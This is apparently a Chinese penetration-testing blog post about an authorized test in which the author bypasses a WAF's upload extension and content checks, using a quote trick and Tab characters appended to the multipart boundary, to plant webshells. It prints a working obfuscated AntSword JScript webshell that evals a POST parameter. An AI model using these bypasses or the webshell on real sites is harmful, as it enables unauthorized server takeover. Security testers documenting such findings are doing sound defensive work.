实战绕过某waf后缀检测内容检测

本次测试为授权测试。

0x01 背景

弱口令进入某后台,存在任意文件上传,存在waf

测试aa后缀成功上传通过查看派单可以看到文件路径

直接上传aspx被拦截

0x02 绕过后缀名检测

先简单尝试大小写被拦截,ashx,asmx,asp,cer都被拦截

直接上传cshtml,可参考https://www.cnblogs.com/cwkiller/p/12087890.html

访问跳转404,估计是不解析

尝试直接绕过waf后缀检测简单测试后发现在双引号后面加个单引号就能绕过

0x03 绕过内容检测

直接上冰蝎马,发现检测内容被waf拦截了

复制图片内容把马夹在中间,依旧绕不过,有的waf可能比较大的包就直接放行了,这个不行我复制了很大的图片内容依然被拦截

这个站在之前测试注入过程中并没有发现waf,尝试直接将一句话post发送(非上传格式)发现并不会拦截

猜测waf肯定通过Content-Type: multipart/form-data来判定这是个上传包,然后就检测内容

而waf是如何解析post包哪个地方是上传的内容呢,是根据

Content-Type: multipart/form-data; boundary=---------------------------7e43d3910182

Content-Type中boundary的值---------------------------7e43d3910182

那么思路就来了,我们在---------------------------7e43d3910182后加多个Tab键服务端既正常解析上传内容而waf则可能通过
---------------------------7e43d3910182TabTab 去查找上传的内容然而并找不到从而被绕过,讲了这么就那肯定要测一把

bingo成功绕过内容检测

0x04 奇怪的404

上传成功了先访问马看看

又是这个情况,哪里出问题了呢,直接连接马也连不上,抽根烟记起之前搞得一个jsp站也是上传成功了老是404https://www.cnblogs.com/cwkiller/p/11788009.html

可能是马要有内容输出才不会404,直接上大马,连接成功system权限

验证是否是马要有内容输出才不会404,上传打印当前时间的aspx

<%@Page Language="C#"%>
<%
Response.Write(DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
System.IO.File.Delete(Request.PhysicalPath);
%>

印证猜测,蚁剑马增加一句输出hello,world语句

<%@ Page Language="Jscript" Debug=true%>
<%
Response.Write("hello,world");
var hw=Request.Form("mr6");
var du='iNUZuDe';
var zu=du.replace("iNUZuD","unsaf");
function RIEo(BWrg)
{eval(BWrg,zu);}
RIEo(hw);
%>

带上cookie(此目录下的文件需要登录才能访问),连接成功

posted @ 2020-04-11 14:37  cwkiller  阅读(1971)  评论(1编辑  收藏  举报